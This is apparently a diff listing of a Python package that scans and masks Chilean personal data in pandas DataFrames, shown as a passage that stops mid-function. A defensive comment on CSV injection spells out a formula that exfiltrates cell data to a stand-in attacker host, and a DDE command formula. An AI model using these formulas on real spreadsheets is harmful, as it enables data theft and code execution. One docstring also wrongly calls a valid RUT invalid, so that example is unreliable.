blindata 0.1.0__py3-none-any.whl

blindata/__init__.py

@@ -0,0 +1,25 @@
+"""
+Blindata — Compliance Toolkit para Data Analysts en Chile
+==========================================================
+Una línea de código entre tu análisis y una multa.
+
+Uso rápido:
+    >>> from blindata import Blindata
+    >>> bd = Blindata(sector="salud")
+    >>> resultado = bd.scan(df)
+    >>> resultado.mostrar()
+
+Con protección y reporte:
+    >>> df_seguro = bd.proteger(df)
+    >>> bd.reporte_pdf("cumplimiento.pdf", responsable="Mi Empresa SpA")
+
+Autora: Daniela Inostroza
+Web: blindata.cl
+"""
+
+__version__ = "0.1.0"
+__author__ = "Daniela Inostroza"
+
+from blindata.core import Blindata
+
+__all__ = ["Blindata"]

blindata/core.py

@@ -0,0 +1,498 @@
+"""
+Blindata — Módulo Core
+============================
+Clase principal que unifica el flujo de trabajo en una interfaz limpia
+y maneja la lógica de tiers.
+
+Uso rápido:
+    from blindata import Blindata
+    bd = Blindata(sector="salud")
+    bd.scan(df).mostrar()
+    df_seguro = bd.proteger(df)
+
+Modelo de tiers:
+    Community (gratis): scan básico (RUT, email, teléfono) + enmascaramiento
+    Pro (SaaS):         features avanzadas — ver blindata.cl
+
+Autora: Daniela Inostroza
+Proyecto: Blindata
+"""
+
+import re
+import logging
+import pandas as pd
+from typing import Any, Optional, TypedDict
+from dataclasses import dataclass, field
+
+
+# ============================================================
+# 0. TIPOS
+# ============================================================
+
+class TierFeatures(TypedDict):
+    descripcion: str
+    detectores_regex: bool
+    detectores_avanzados: bool
+    clasificacion_sectorial: bool
+    pseudonimizacion: bool
+    reporte_pdf: bool
+    sectores: list[str]
+
+
+# Logger del paquete. Sigue el patrón estándar de librerías Python
+# (PEP 282): la librería NO configura handlers ni llama a basicConfig
+# — eso lo hace la aplicación que usa Blindata.
+#
+# IMPORTANTE: NUNCA loguear PII (valores de celdas, semillas, mapas
+# internos). Solo metadatos seguros: nombres de columnas, contadores,
+# tipos detectados, sectores.
+logger = logging.getLogger("blindata")
+
+from blindata.scanner import (
+    scan as _scan_completo,
+    validar_rut,
+    imprimir_reporte,
+)
+from blindata.protector import Protector
+
+# ============================================================
+# DETECCIÓN OPCIONAL DE MÓDULOS PRO
+# ============================================================
+#
+# Open-Core: el repo público (este) contiene solo Community.
+# Las features avanzadas viven en un paquete propietario que
+# solo se instala en el SaaS oficial.
+
+try:
+    import blindata_pro as _pro
+    _PRO_DISPONIBLE = True
+except ImportError:
+    _pro = None  # type: ignore[assignment]
+    _PRO_DISPONIBLE = False
+
+
+# ============================================================
+# TIERS: Qué incluye cada plan
+# ============================================================
+#
+# Modelo Open-Core con dos tiers:
+#
+#   Community (gratuito, permanente):
+#     - Detección regex: RUT, email, teléfono
+#     - Enmascaramiento
+#
+#   Pro (SaaS oficial, ver blindata.cl):
+#     - Detección completa de PII chileno
+#     - Clasificación legal sectorial
+#     - Protección avanzada
+#     - Reporte PDF para APDP
+#
+# Mientras Pro no esté disponible vía el SaaS oficial:
+#   - Blindata() sin api_key → funciona en Community (gratis).
+#   - Blindata(api_key=...) con CUALQUIER valor → lanza NotImplementedError
+#     honesto: "Pro aún no disponible — disponible con el lanzamiento
+#     del SaaS en blindata.cl".
+#
+# Cuando el backend SaaS exista, el gate Pro se activará validando
+# la api_key contra el endpoint de billing.
+
+TIER_COMMUNITY = "community"
+TIER_PRO = "pro"
+
+FEATURES: dict[str, TierFeatures] = {
+    TIER_COMMUNITY: {
+        "descripcion": "Plan Community (gratuito)",
+        "detectores_regex": True,
+        "detectores_avanzados": False,
+        "clasificacion_sectorial": False,
+        "pseudonimizacion": False,
+        "reporte_pdf": False,
+        "sectores": ["general"],
+    },
+    TIER_PRO: {
+        "descripcion": "Plan Pro (SaaS)",
+        "detectores_regex": True,
+        "detectores_avanzados": True,
+        "clasificacion_sectorial": True,
+        "pseudonimizacion": True,
+        "reporte_pdf": True,
+        "sectores": ["salud", "banca", "gobierno", "educacion", "retail", "general"],
+    },
+}
+
+
+# ============================================================
+# RESULTADO DEL ESCANEO
+# ============================================================
+
+@dataclass
+class ResultadoScan:
+    """
+    Contenedor del resultado del escaneo con métodos
+    para mostrar e inspeccionar los datos.
+    """
+    reporte: dict
+    clasificacion: Optional[dict] = None
+    tier: str = TIER_COMMUNITY
+
+    def mostrar(self) -> None:
+        """Imprime el reporte de escaneo en formato tabla."""
+        imprimir_reporte(self.reporte)
+        if self.clasificacion and _PRO_DISPONIBLE:
+            _pro.imprimir_clasificacion(self.clasificacion)
+
+    @property
+    def columnas_con_pii(self) -> list[str]:
+        """Lista de columnas donde se detectó PII."""
+        return [
+            col for col, info in self.reporte["columnas"].items()
+            if info["tipo_detectado"] is not None
+        ]
+
+    @property
+    def columnas_limpias(self) -> list[str]:
+        """Lista de columnas sin PII detectado."""
+        return [
+            col for col, info in self.reporte["columnas"].items()
+            if info["tipo_detectado"] is None
+        ]
+
+    @property
+    def requiere_dpia(self) -> bool:
+        """¿El dataset requiere Evaluación de Impacto?"""
+        if self.clasificacion:
+            return self.clasificacion.get("requiere_dpia_global", False)
+        return False
+
+    @property
+    def resumen(self) -> dict:
+        """Resumen rápido del escaneo."""
+        return self.reporte["resumen"]
+
+    def tipo_de(self, columna: str) -> Optional[str]:
+        """Devuelve el tipo de PII detectado en una columna."""
+        info = self.reporte["columnas"].get(columna, {})
+        return info.get("tipo_detectado")
+
+    def __repr__(self) -> str:
+        r = self.reporte["resumen"]
+        return (
+            f"ResultadoScan("
+            f"columnas={r['total_columnas']}, "
+            f"con_pii={r['columnas_con_pii']}, "
+            f"tipos={r['tipos_encontrados']})"
+        )
+
+
+# ============================================================
+# CLASE PRINCIPAL: Blindata
+# ============================================================
+
+class Blindata:
+    """
+    Punto de entrada principal de Blindata.
+
+    Uso (Community — gratuito, disponible hoy):
+        >>> bd = Blindata()
+        >>> resultado = bd.scan(df)
+        >>> resultado.mostrar()
+        >>> df_seguro = bd.proteger(df)
+
+    Uso (Pro — disponible con el lanzamiento del SaaS):
+        >>> bd = Blindata(api_key="...", sector="salud")
+
+    Args:
+        sector: Contexto sectorial. En Community solo se usa
+                "general"; en Pro decide cómo se elevan los
+                niveles de riesgo ("salud", "banca", "gobierno",
+                "educacion", "retail", "general").
+        api_key: Clave para activar Pro. Se obtiene en blindata.cl.
+        semilla: Clave para reproducibilidad (solo se usa en Pro).
+    """
+
+    def __init__(
+        self,
+        sector: str = "general",
+        api_key: Optional[str] = None,
+        semilla: Optional[str] = None,
+    ) -> None:
+        self.sector = sector
+        self.api_key = api_key
+        self.semilla = semilla
+
+        self.tier = self._resolver_tier()
+
+        self._ultimo_reporte: Optional[dict] = None
+        self._ultima_clasificacion: Optional[dict] = None
+        self._protector: Optional[Protector] = None
+
+        # Validar sector según tier.
+        features = FEATURES[self.tier]
+        if sector not in features["sectores"]:
+            sectores_disp = ", ".join(features["sectores"])
+            if self.tier == TIER_COMMUNITY:
+                logger.warning(
+                    "Community no clasifica por sector. "
+                    "Sector '%s' será ignorado; el scan corre con "
+                    "detección básica. Clasificación sectorial "
+                    "disponible en Pro (blindata.cl).",
+                    sector,
+                )
+                self.sector = "general"
+            else:
+                raise ValueError(
+                    f"Sector '{sector}' no disponible. "
+                    f"Sectores: {sectores_disp}"
+                )
+
+    def _resolver_tier(self) -> str:
+        """
+        Determina el tier según la api_key y la disponibilidad
+        de módulos Pro.
+        """
+        if not self.api_key:
+            return TIER_COMMUNITY
+
+        if not _PRO_DISPONIBLE:
+            raise NotImplementedError(
+                "El plan Pro de Blindata solo está disponible en los "
+                "contenedores del SaaS oficial (blindata.cl).\n\n"
+                "Si estás corriendo Blindata localmente (vía "
+                "`pip install blindata`), tenés acceso al plan Community:\n"
+                "  bd = Blindata()  # detecta RUT, email, teléfono + "
+                "enmascaramiento.\n\n"
+                "Para features avanzadas, activá tu plan en blindata.cl."
+            )
+
+        return TIER_PRO
+
+    # ============================================================
+    # SCAN
+    # ============================================================
+
+    def scan(self, df: pd.DataFrame) -> ResultadoScan:
+        """
+        Escanea un DataFrame y detecta datos personales.
+
+        Plan Community: detecta RUT, email, teléfono (regex).
+        Plan Pro: detección completa + clasificación legal.
+
+        Args:
+            df: DataFrame de Pandas a escanear.
+
+        Returns:
+            ResultadoScan con el reporte completo.
+        """
+        features = FEATURES[self.tier]
+
+        reporte = _scan_completo(df, incluir_avanzados=features["detectores_avanzados"])
+
+        clasificacion = None
+        if features["clasificacion_sectorial"] and _PRO_DISPONIBLE:
+            clasificacion = _pro.clasificar(reporte, sector=self.sector)
+
+        logger.info(
+            "scan completado: tier=%s sector=%s filas=%d columnas=%d con_pii=%d",
+            self.tier,
+            self.sector,
+            len(df),
+            reporte["resumen"]["total_columnas"],
+            reporte["resumen"]["columnas_con_pii"],
+        )
+
+        self._ultimo_reporte = reporte
+        self._ultima_clasificacion = clasificacion
+
+        return ResultadoScan(
+            reporte=reporte,
+            clasificacion=clasificacion,
+            tier=self.tier,
+        )
+
+    # ============================================================
+    # PROTEGER
+    # ============================================================
+
+    def proteger(
+        self,
+        df: pd.DataFrame,
+        estrategia: str = "auto",
+    ) -> pd.DataFrame:
+        """
+        Protege automáticamente los datos personales del DataFrame.
+
+        Plan Community: enmascaramiento.
+        Plan Pro: protección avanzada según clasificación legal.
+
+        Args:
+            df: DataFrame original.
+            estrategia: "auto" (recomendado) o "maxima".
+
+        Returns:
+            DataFrame protegido (el original no se modifica).
+        """
+        if self._ultimo_reporte is None:
+            self.scan(df)
+
+        # Pro: si hay clasificación, usar el protector avanzado.
+        if self._ultima_clasificacion and _PRO_DISPONIBLE:
+            self._protector = _pro.Protector(semilla=self.semilla)
+            df_protegido = self._protector.protect(
+                df, self._ultima_clasificacion, estrategia=estrategia
+            )
+            metodos = sorted({a["metodo"] for a in self._protector.registro_acciones})
+            logger.info(
+                "proteger completado: tier=%s acciones=%d metodos=%s",
+                self.tier,
+                len(self._protector.registro_acciones),
+                metodos,
+            )
+            return df_protegido
+
+        # Community: protección básica (enmascaramiento).
+        self._protector = Protector(semilla=self.semilla)
+        df_protegido = df.copy()
+
+        assert self._ultimo_reporte is not None
+        for col, info in self._ultimo_reporte["columnas"].items():
+            if info["tipo_detectado"] is None:
+                continue
+            if col not in df_protegido.columns:
+                continue
+
+            tipo = info["tipo_detectado"]
+
+            if "RUT" in tipo:
+                df_protegido[col] = self._protector.enmascarar(
+                    df_protegido[col], tipo="rut"
+                )
+            elif "Correo" in tipo or "email" in tipo.lower():
+                df_protegido[col] = self._protector.enmascarar(
+                    df_protegido[col], tipo="email"
+                )
+            elif "Teléfono" in tipo or "celular" in tipo.lower():
+                df_protegido[col] = self._protector.enmascarar(
+                    df_protegido[col], tipo="telefono"
+                )
+            else:
+                df_protegido[col] = self._protector.enmascarar(
+                    df_protegido[col], tipo="general"
+                )
+
+        if self._protector:
+            metodos = sorted({a["metodo"] for a in self._protector.registro_acciones})
+            logger.info(
+                "proteger completado: tier=%s acciones=%d metodos=%s",
+                self.tier,
+                len(self._protector.registro_acciones),
+                metodos,
+            )
+        return df_protegido
+
+    # ============================================================
+    # REPORTE PDF
+    # ============================================================
+
+    def reporte_pdf(
+        self,
+        output: str = "reporte_cumplimiento.pdf",
+        responsable: str = "Sin especificar",
+        finalidad: str = "Sin especificar",
+        base_legal: str = "Sin especificar",
+        dpo: Optional[str] = None,
+        df: Optional[pd.DataFrame] = None,
+    ) -> str:
+        """
+        Genera un reporte de cumplimiento en PDF.
+
+        Solo disponible en plan Pro.
+        """
+        features = FEATURES[self.tier]
+
+        if not features["reporte_pdf"]:
+            logger.warning(
+                "Reporte PDF solicitado en Community — denegado. "
+                "Feature disponible en Pro (blindata.cl)."
+            )
+            return ""
+
+        if self._ultimo_reporte is None:
+            raise ValueError(
+                "Primero debes escanear un DataFrame con bd.scan(df)"
+            )
+
+        if self._ultima_clasificacion is None:
+            raise ValueError(
+                "La clasificación legal no está disponible. "
+                "Asegúrate de usar el plan Pro."
+            )
+
+        acciones = []
+        if self._protector:
+            acciones = self._protector.registro_acciones
+
+        if df is None:
+            raise ValueError(
+                "Provee el DataFrame original: bd.reporte_pdf('reporte.pdf', df=mi_df)"
+            )
+
+        if not _PRO_DISPONIBLE:
+            return ""
+
+        ruta = _pro.generar_reporte_pdf(
+            reporte_scan=self._ultimo_reporte,
+            clasificacion=self._ultima_clasificacion,
+            acciones=acciones,
+            df_original=df,
+            output=output,
+            responsable=responsable,
+            finalidad=finalidad,
+            base_legal=base_legal,
+            dpo=dpo,
+        )
+
+        logger.info("Reporte PDF generado en %s", ruta)
+        return ruta
+
+    # ============================================================
+    # INFORMACIÓN DEL TIER
+    # ============================================================
+
+    def info(self) -> None:
+        """Muestra información del plan actual."""
+        features = FEATURES[self.tier]
+        print(f"\n🛡️  Blindata v{__version__}")
+        print(f"   Plan: {features['descripcion']}")
+        print(f"   Sector: {self.sector}")
+        print()
+
+        checks = [
+            ("Detección RUT, email, teléfono", features["detectores_regex"]),
+            ("Detección avanzada de PII chileno", features["detectores_avanzados"]),
+            ("Clasificación por sector", features["clasificacion_sectorial"]),
+            ("Protección avanzada", features["pseudonimizacion"]),
+            ("Reporte PDF para APDP", features["reporte_pdf"]),
+        ]
+
+        for nombre, activo in checks:
+            icono = "✅" if activo else "🔒"
+            print(f"   {icono} {nombre}")
+
+        if self.tier == TIER_COMMUNITY:
+            print(
+                "\n   ℹ️  Plan Pro disponible en blindata.cl"
+                "\n      (detección completa de 12 tipos de PII chileno,"
+                "\n      clasificación sectorial y reporte PDF)."
+            )
+
+        print()
+
+    def __repr__(self) -> str:
+        return (
+            f"Blindata(sector='{self.sector}', "
+            f"tier='{self.tier}')"
+        )
+
+
+# Para imports directos
+from blindata import __version__

blindata/protector.py

@@ -0,0 +1,188 @@
+"""
+Blindata — Módulo Protector (Community)
+==========================================
+Capa Community del protector: enmascaramiento + utilidad de
+sanitización contra CSV injection.
+
+Las features avanzadas de protección están en el paquete Pro,
+disponible con el SaaS oficial en blindata.cl.
+
+Autora: Daniela Inostroza
+Proyecto: Blindata (Community)
+"""
+
+import re
+import secrets
+from datetime import datetime
+from typing import Optional
+
+import pandas as pd
+
+
+# ============================================================
+# UTILIDAD: Sanitización contra CSV injection (formula injection)
+# ============================================================
+#
+# ¿Qué es CSV injection?
+# Si una celda string de un CSV/XLSX empieza con `=`, `+`, `-`, `@`,
+# `\t` o `\r`, Excel/LibreOffice/Google Sheets la interpretan como
+# FÓRMULA al abrir el archivo. Eso permite:
+#
+#   =HYPERLINK("http://atacante.com/?d="&A1, "Click aquí")
+#       → exfiltra la celda A1 a un servidor externo cuando la víctima
+#         hace click en el enlace.
+#
+#   =cmd|'/c calc'!A1
+#       → en Excel antiguo, ejecuta comandos del sistema (DDE).
+#
+# Como Blindata acepta CSV/Excel del usuario y exporta CSV "protegido"
+# de vuelta, somos un VEHÍCULO PERFECTO para este ataque:
+# atacante sube CSV malicioso → Blindata lo "protege" sin tocar los
+# campos no-PII → analista descarga y lo abre en Excel → ejecuta.
+#
+# Solución (OWASP): si una celda string empieza con uno de los
+# caracteres peligrosos, le anteponemos un apóstrofe `'`. Excel
+# trata el `'` inicial como "esto es texto literal, no fórmula" y
+# no lo muestra al usuario.
+
+_CARACTERES_PELIGROSOS_CSV = ("=", "+", "-", "@", "\t", "\r")
+
+
+def sanitizar_para_csv(df: pd.DataFrame) -> pd.DataFrame:
+    """
+    Devuelve una COPIA del DataFrame con todas las celdas string
+    sanitizadas contra CSV injection (formula injection).
+
+    Cualquier celda string que empiece con `=`, `+`, `-`, `@`,
+    tab o CR recibe un apóstrofe `'` al inicio.
+
+    No modifica:
+      - Valores numéricos (no son fórmulas).
+      - NaN/None.
+      - Strings que no empiezan con caracteres peligrosos.
+
+    Args:
+        df: DataFrame a sanitizar.
+
+    Returns:
+        Copia del DataFrame con strings sanitizados.
+    """
+    def _sanitizar_celda(valor):
+        if not isinstance(valor, str):
+            return valor
+        if not valor:
+            return valor
+        if valor[0] in _CARACTERES_PELIGROSOS_CSV:
+            return "'" + valor
+        return valor
+
+    df_seguro = df.copy()
+    for col in df_seguro.columns:
+        if df_seguro[col].dtype.name in ("object", "str", "string") or df_seguro[col].dtype == object:
+            df_seguro[col] = df_seguro[col].map(_sanitizar_celda)
+    return df_seguro
+
+
+# ============================================================
+# PROTECTOR — Capa Community (enmascaramiento)
+# ============================================================
+
+
+class Protector:
+    """
+    Motor Community de protección de datos personales.
+
+    Provee:
+      - sanitizar_para_csv() a nivel de módulo.
+      - enmascarar() con estrategias por tipo (RUT, email, teléfono,
+        general).
+      - Registro de acciones (log de transformaciones).
+
+    Las capacidades avanzadas de protección están disponibles en el
+    plan Pro (blindata.cl).
+    """
+
+    def __init__(
+        self,
+        semilla: Optional[str] = None,
+        max_mapa_size: int = 1_000_000,
+    ) -> None:
+        """
+        Args:
+            semilla: Clave para reproducibilidad.
+            max_mapa_size: Tope del mapa interno.
+        """
+        self.semilla = semilla or secrets.token_hex(16)
+        self.max_mapa_size = max_mapa_size
+        self._mapa_pseudonimos: dict[str, str] = {}
+        self.registro_acciones: list[dict] = []
+
+    # ----------------------------------------------------------
+    # Enmascaramiento
+    # ----------------------------------------------------------
+    # Oculta parte del valor pero mantiene el formato reconocible.
+    # Útil para que un humano pueda verificar parcialmente
+    # ("sí, ese RUT termina en -5, es el correcto").
+
+    def enmascarar(self, serie: pd.Series, tipo: str = "general") -> pd.Series:
+        """
+        Enmascara parcialmente los valores, manteniendo formato.
+
+        Args:
+            serie: Columna a enmascarar.
+            tipo: Tipo de dato para enmascaramiento inteligente.
+                  "rut" → **.***.678-5
+                  "email" → m****z@gmail.com
+                  "telefono" → +56 9 **** 5678
+                  "general" → enmascaramiento genérico
+
+        Returns:
+            Serie con valores enmascarados.
+        """
+        estrategias = {
+            "rut": self._enmascarar_rut,
+            "email": self._enmascarar_email,
+            "telefono": self._enmascarar_telefono,
+            "general": self._enmascarar_general,
+        }
+
+        fn = estrategias.get(tipo, self._enmascarar_general)
+        resultado = serie.map(lambda v: fn(str(v)) if pd.notna(v) else v)
+
+        self.registro_acciones.append({
+            "columna": serie.name,
+            "metodo": f"enmascaramiento ({tipo})",
+            "valores_afectados": int(serie.notna().sum()),
+            "reversible": False,
+            "timestamp": datetime.now().isoformat(),
+        })
+
+        return resultado
+
+    def _enmascarar_rut(self, valor: str) -> str:
+        """12.345.678-5 → **.***.678-5"""
+        limpio = valor.replace(".", "").replace("-", "").replace(" ", "")
+        if len(limpio) < 5:
+            return "***"
+        return f"**.***.{limpio[-4:-1]}-{limpio[-1]}"
+
+    def _enmascarar_email(self, valor: str) -> str:
+        """maria.gonzalez@gmail.com → m*************z@gmail.com"""
+        if "@" not in valor:
+            return self._enmascarar_general(valor)
+        local, dominio = valor.split("@", 1)
+        if len(local) <= 2:
+            return f"**@{dominio}"
+        return f"{local[0]}{'*' * (len(local) - 2)}{local[-1]}@{dominio}"
+
+    def _enmascarar_telefono(self, valor: str) -> str:
+        """+56 9 1234 5678 → +56 9 **** 5678"""
+        digitos = re.sub(r'\D', '', valor)
+        if len(digitos) < 4:
+            return "***"
+        return f"+56 9 **** {digitos[-4:]}"
+
+    def _enmascarar_general(self, valor: str) -> str:
+        if len(valor) <= 4:
+            return "***"
+        return valor[:2] + "*" * (len(valor) - 4) + valor[-2:]

blindata/scanner.py

@@ -0,0 +1,467 @@
+"""
+Blindata — Módulo Scanner
+=============================
+Detecta datos personales (PII) en DataFrames de Pandas,
+con foco en identificadores chilenos.
+
+Autora: Daniela Inostroza
+Proyecto: Blindata
+"""
+
+import re
+import pandas as pd
+from typing import Any, Optional, TypedDict
+
+
+# ============================================================
+# 0. TIPOS
+# ============================================================
+
+class PatronPII(TypedDict):
+    regex: re.Pattern[str]
+    tipo: str
+    sensibilidad: str
+    descripcion: str
+
+
+# ============================================================
+# 1. VALIDADOR DE RUT — Algoritmo Módulo 11
+# ============================================================
+#
+# El RUT chileno tiene esta estructura: XX.XXX.XXX-V
+# donde V es el "dígito verificador" (0-9 o K).
+#
+# ¿Cómo se calcula V? Con el algoritmo Módulo 11:
+#
+#   Paso 1: Tomar los dígitos del cuerpo (sin el verificador)
+#   Paso 2: Multiplicar cada dígito por una serie cíclica: 2,3,4,5,6,7,2,3...
+#           (de DERECHA a IZQUIERDA)
+#   Paso 3: Sumar todos los productos
+#   Paso 4: Calcular el resto de dividir la suma por 11
+#   Paso 5: Restar el resto a 11 → ese es el dígito verificador
+#           Si el resultado es 11 → verificador es "0"
+#           Si el resultado es 10 → verificador es "K"
+#
+# Esto es lo que hace que un RUT sea VÁLIDO vs simplemente
+# tener el formato correcto. Es la diferencia entre detectar
+# "cualquier cosa que parece RUT" y detectar "un RUT real".
+
+def validar_rut(rut: str) -> bool:
+    """
+    Valida un RUT chileno usando el algoritmo Módulo 11.
+
+    Acepta múltiples formatos:
+        - 12.345.678-5
+        - 12345678-5
+        - 123456785  (sin guión)
+
+    Args:
+        rut: String con el RUT a validar.
+
+    Returns:
+        True si el RUT es válido, False si no.
+
+    Ejemplos:
+        >>> validar_rut("12.345.678-5")
+        True
+        >>> validar_rut("11.111.111-1")  # dígito verificador incorrecto
+        False
+        >>> validar_rut("76.XXX.123-4")  # caracteres inválidos
+        False
+    """
+    # --- Paso 0: Limpiar el input ---
+    rut_limpio = rut.strip().upper().replace(".", "").replace("-", "").replace(" ", "")
+
+    if len(rut_limpio) < 2:
+        return False
+
+    # --- Paso 1: Separar cuerpo y dígito verificador ---
+    cuerpo = rut_limpio[:-1]
+    dv_ingresado = rut_limpio[-1]
+
+    if not cuerpo.isdigit():
+        return False
+
+    if dv_ingresado not in "0123456789K":
+        return False
+
+    # --- Paso 2: Aplicar el algoritmo Módulo 11 ---
+    suma = 0
+    multiplicador = 2
+
+    for digito in reversed(cuerpo):
+        suma += int(digito) * multiplicador
+        multiplicador += 1
+        if multiplicador > 7:
+            multiplicador = 2
+
+    # --- Paso 3: Calcular el dígito verificador esperado ---
+    resto = suma % 11
+    resultado = 11 - resto
+
+    if resultado == 11:
+        dv_calculado = "0"
+    elif resultado == 10:
+        dv_calculado = "K"
+    else:
+        dv_calculado = str(resultado)
+
+    return dv_ingresado == dv_calculado
+
+
+# ============================================================
+# 2. PATRONES REGEX PARA PII CHILENO
+# ============================================================
+
+PATRONES_PII: dict[str, PatronPII] = {
+
+    "rut": {
+        "regex": re.compile(
+            r"""
+            \b                           # límite de palabra
+            (\d{1,2})                    # 1-2 dígitos iniciales
+            [.]?                         # punto opcional
+            (\d{3})                      # 3 dígitos
+            [.]?                         # punto opcional
+            (\d{3})                      # 3 dígitos
+            [-]?                         # guión opcional
+            ([\dkK])                     # dígito verificador
+            \b
+            """,
+            re.VERBOSE
+        ),
+        "tipo": "RUT (Rol Único Tributario)",
+        "sensibilidad": "personal",
+        "descripcion": "Identificador único nacional. Dato personal bajo Ley 21.719.",
+    },
+
+    "telefono_cl": {
+        "regex": re.compile(
+            r"""
+            (?:
+                (?:\+56|56)
+                \s?
+            )?
+            [(]?9[)]?
+            \s?
+            \d{4}
+            [\s.-]?
+            \d{4}
+            """,
+            re.VERBOSE
+        ),
+        "tipo": "Teléfono celular chileno",
+        "sensibilidad": "personal_contacto",
+        "descripcion": "Número de contacto personal. Dato personal bajo Ley 21.719.",
+    },
+
+    "email": {
+        "regex": re.compile(
+            r"""
+            \b
+            [a-zA-Z0-9._%+-]+
+            @
+            [a-zA-Z0-9.-]+
+            \.
+            [a-zA-Z]{2,}
+            \b
+            """,
+            re.VERBOSE
+        ),
+        "tipo": "Correo electrónico",
+        "sensibilidad": "personal_contacto",
+        "descripcion": "Dirección de correo. Dato personal bajo Ley 21.719.",
+    },
+}
+
+
+# ============================================================
+# 3. FUNCIONES DE DETECCIÓN POR COLUMNA
+# ============================================================
+
+def detectar_ruts_en_serie(serie: pd.Series) -> dict:
+    """
+    Analiza una Serie de Pandas buscando RUTs chilenos.
+
+    No solo busca el patrón regex — también VALIDA cada RUT
+    encontrado con el algoritmo Módulo 11. Esto reduce
+    dramáticamente los falsos positivos.
+
+    Returns:
+        Dict con resultados del análisis:
+        {
+            "encontrados": int,
+            "validos": int,
+            "tasa_deteccion": float,
+            "ejemplos": list,
+        }
+    """
+    patron = PATRONES_PII["rut"]["regex"]
+    encontrados = 0
+    validos = 0
+    ejemplos: list[str] = []
+
+    for valor in serie.dropna().astype(str):
+        match = patron.search(valor)
+        if match:
+            encontrados += 1
+            rut_completo = match.group(0)
+
+            if validar_rut(rut_completo):
+                validos += 1
+                if len(ejemplos) < 3:
+                    ejemplos.append(_enmascarar_rut(rut_completo))
+
+    total = len(serie.dropna())
+    tasa = validos / total if total > 0 else 0
+
+    return {
+        "encontrados": encontrados,
+        "validos": validos,
+        "tasa_deteccion": round(tasa, 4),
+        "ejemplos": ejemplos,
+    }
+
+
+def detectar_patron_en_serie(serie: pd.Series, nombre_patron: str) -> dict:
+    """
+    Analiza una Serie de Pandas buscando un patrón PII genérico.
+    """
+    if nombre_patron not in PATRONES_PII:
+        raise ValueError(f"Patrón '{nombre_patron}' no existe. "
+                         f"Disponibles: {list(PATRONES_PII.keys())}")
+
+    patron = PATRONES_PII[nombre_patron]["regex"]
+    encontrados = 0
+    ejemplos: list[str] = []
+
+    for valor in serie.dropna().astype(str):
+        match = patron.search(valor)
+        if match:
+            encontrados += 1
+            if len(ejemplos) < 3:
+                ejemplos.append(_enmascarar_generico(match.group(0)))
+
+    total = len(serie.dropna())
+    tasa = encontrados / total if total > 0 else 0
+
+    return {
+        "encontrados": encontrados,
+        "tasa_deteccion": round(tasa, 4),
+        "ejemplos": ejemplos,
+    }
+
+
+# ============================================================
+# 4. FUNCIÓN PRINCIPAL: scan(df)
+# ============================================================
+
+def scan(df: pd.DataFrame, incluir_avanzados: bool = False) -> dict:
+    """
+    Escanea un DataFrame y detecta datos personales (PII chileno)
+    en cada columna.
+
+    Args:
+        df: DataFrame de Pandas a escanear.
+        incluir_avanzados: default False (Community). Si True, requiere
+            el paquete Pro instalado (disponible en el SaaS oficial).
+
+    Returns:
+        Dict con el reporte de escaneo:
+        {
+            "resumen": { ... },
+            "columnas": {
+                "nombre_col": {
+                    "tipo_detectado": str,
+                    "sensibilidad": str,
+                    "detalle": dict,
+                }, ...
+            }
+        }
+
+    Ejemplo:
+        >>> import pandas as pd
+        >>> from blindata.scanner import scan
+        >>> df = pd.read_csv("datos.csv")
+        >>> reporte = scan(df)
+    """
+    resultado: dict[str, Any] = {
+        "resumen": {
+            "total_columnas": len(df.columns),
+            "columnas_con_pii": 0,
+            "tipos_encontrados": [],
+        },
+        "columnas": {},
+    }
+
+    for columna in df.columns:
+        serie = df[columna]
+
+        if not _es_columna_analizable(serie):
+            resultado["columnas"][columna] = {
+                "tipo_detectado": None,
+                "sensibilidad": "sin_riesgo",
+                "detalle": {"nota": "Columna numérica/booleana sin patrón PII"},
+            }
+            continue
+
+        mejor_match = None
+        mejor_tasa = 0
+        mejor_detalle = {}
+
+        # --- Detección de RUT (con validación Módulo 11) ---
+        deteccion_rut = detectar_ruts_en_serie(serie)
+        if deteccion_rut["tasa_deteccion"] > 0.3:
+            if deteccion_rut["tasa_deteccion"] > mejor_tasa:
+                mejor_match = "rut"
+                mejor_tasa = deteccion_rut["tasa_deteccion"]
+                mejor_detalle = deteccion_rut
+
+        # --- Detección de teléfono y email ---
+        for nombre_patron in ["telefono_cl", "email"]:
+            deteccion = detectar_patron_en_serie(serie, nombre_patron)
+            if deteccion["tasa_deteccion"] > 0.3:
+                if deteccion["tasa_deteccion"] > mejor_tasa:
+                    mejor_match = nombre_patron
+                    mejor_tasa = deteccion["tasa_deteccion"]
+                    mejor_detalle = deteccion
+
+        # --- Detección avanzada (solo si Pro está instalado) ---
+        if incluir_avanzados:
+            try:
+                import blindata_pro
+                resultado_avanzado = blindata_pro.detectar_avanzados(serie)
+                if resultado_avanzado and resultado_avanzado["tasa_deteccion"] > mejor_tasa:
+                    mejor_match = "avanzado"
+                    mejor_tasa = resultado_avanzado["tasa_deteccion"]
+                    mejor_detalle = resultado_avanzado
+            except ImportError as e:
+                raise NotImplementedError(
+                    "La detección avanzada requiere el paquete Pro, "
+                    "disponible en el SaaS oficial (blindata.cl).\n\n"
+                    "Community detecta RUT, email y teléfono — usá "
+                    "`scan(df)` o `scan(df, incluir_avanzados=False)`."
+                ) from e
+
+        # --- Registrar resultado ---
+        if mejor_match:
+            if mejor_match in PATRONES_PII:
+                info_patron = PATRONES_PII[mejor_match]
+                tipo = info_patron["tipo"]
+                sensibilidad = info_patron["sensibilidad"]
+            else:
+                # Detección avanzada: tipo/sensibilidad viene en el detalle
+                tipo = mejor_detalle.pop("_tipo_label", "Dato personal")
+                sensibilidad = mejor_detalle.pop("_sensibilidad", "personal")
+
+            resultado["columnas"][columna] = {
+                "tipo_detectado": tipo,
+                "sensibilidad": sensibilidad,
+                "detalle": mejor_detalle,
+            }
+            resultado["resumen"]["columnas_con_pii"] += 1
+            if tipo not in resultado["resumen"]["tipos_encontrados"]:
+                resultado["resumen"]["tipos_encontrados"].append(tipo)
+        else:
+            resultado["columnas"][columna] = {
+                "tipo_detectado": None,
+                "sensibilidad": "sin_riesgo",
+                "detalle": {"nota": "No se detectó PII con los patrones actuales"},
+            }
+
+    return resultado
+
+
+def imprimir_reporte(reporte: dict) -> None:
+    """
+    Imprime el reporte de escaneo en formato tabla legible.
+    Pensado para uso en Jupyter Notebook.
+    """
+    print("\n" + "=" * 72)
+    print("  BLINDATA — Reporte de Escaneo")
+    print("=" * 72)
+
+    resumen = reporte["resumen"]
+    print(f"\n  Columnas analizadas: {resumen['total_columnas']}")
+    print(f"  Columnas con PII:   {resumen['columnas_con_pii']}")
+    if resumen["tipos_encontrados"]:
